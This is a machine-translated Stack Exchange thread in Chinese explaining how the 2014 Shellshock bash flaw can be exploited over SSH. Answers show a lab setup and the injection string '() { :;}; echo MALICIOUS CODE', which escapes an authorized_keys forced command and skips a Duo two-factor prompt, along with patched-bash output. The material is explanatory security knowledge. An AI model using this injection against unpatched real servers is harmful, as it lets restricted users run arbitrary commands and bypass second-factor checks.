如何通过 SSH 来利用 shellshock?

Mar*_*ter 68 bash ssh shellshock

显然,shellshock Bash 漏洞利用CVE-2014-6271可以通过 SSH 在网络上被利用。我可以想象这个漏洞是如何通过 Apache/CGI 工作的,但我无法想象这将如何通过 SSH 工作?

有人可以提供一个示例如何利用SSH,以及会对系统造成什么危害?

澄清

AFAIU,只有经过身份验证的用户才能通过 SSH 利用此漏洞。这个漏洞对于拥有合法访问系统的人有什么用?我的意思是,这个漏洞没有权限提升(他不能成为 root),所以他只能通过 SSH 合法登录后做更多的事情。

phe*_*mer 80

可以利用这一点的一个示例是在具有authorized_keys强制命令的服务器上。向 中添加条目时~/.ssh/authorized_keys,您可以在行前加上前缀command="foo"以强制foo在使用 ssh 公钥的任何时候运行。使用此漏洞,如果目标用户的 shell 设置为bash,他们可以利用漏洞运行除他们被迫执行的命令之外的其他内容。

这在示例中可能更有意义,所以这里是一个示例:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Run Code Online (Sandbox Code Playgroud)

在这里,我们设置了一个用户testuser,它强制使用您的 ssh 密钥运行任何 ssh 连接echo starting sleep; sleep 1

我们可以用以下方法测试:

$ ssh testuser@localhost echo something else
starting sleep
Run Code Online (Sandbox Code Playgroud)

注意我们的echo something else没有运行,但starting sleep显示强制命令确实运行了。

现在让我们展示如何使用此漏洞:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Run Code Online (Sandbox Code Playgroud)

这是有效的,因为sshdSSH_ORIGINAL_COMMAND环境变量设置为传递的命令。因此,即使sshdsleep,而不是命令我告诉它,因为攻击,我的代码仍然得到执行。


Eri*_*mer 26

扩展来自 Ramesh 的示例 - 如果您使用双因素身份验证,则可以使用此漏洞绕过第二个因素,具体取决于它的实现方式。

— 正常登录 —

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout
Run Code Online (Sandbox Code Playgroud)

— 不使用 2FA 运行代码 —

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE
Run Code Online (Sandbox Code Playgroud)

您会注意到它在没有提示输入 2FA 的情况下运行了代码。

— 修补 bash 后 —

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
Run Code Online (Sandbox Code Playgroud)


Gil*_*il' 25

Shellshock 是 bash 上的一个漏洞,而不是 SSH。为了利用它,攻击者需要使易受攻击的系统运行 bash,并控制将传递给 bash 的环境变量的值。

为了通过 SSH 到达 bash 进程,攻击者需要通过认证步骤。(可能存在通过其他网络服务的攻击向量,但它们超出了本线程的范围。)如果无论如何允许该帐户运行任意 shell 命令,则不会发生攻击。如果帐户被限制运行特定命令,则该漏洞就会发挥作用:例如,仅限 SFTP 的帐户或仅限 git 的帐户等。

有多种方法可以限制帐户使用 SSH 运行特定命令:使用ForceCommandin 选项sshd_config或使用command=. authorized_keys文件中的限制。如果用户的 shell 是 bash,则 Shellshock 漏洞允许通常只能访问受限帐户的用户绕过限制并执行任意命令。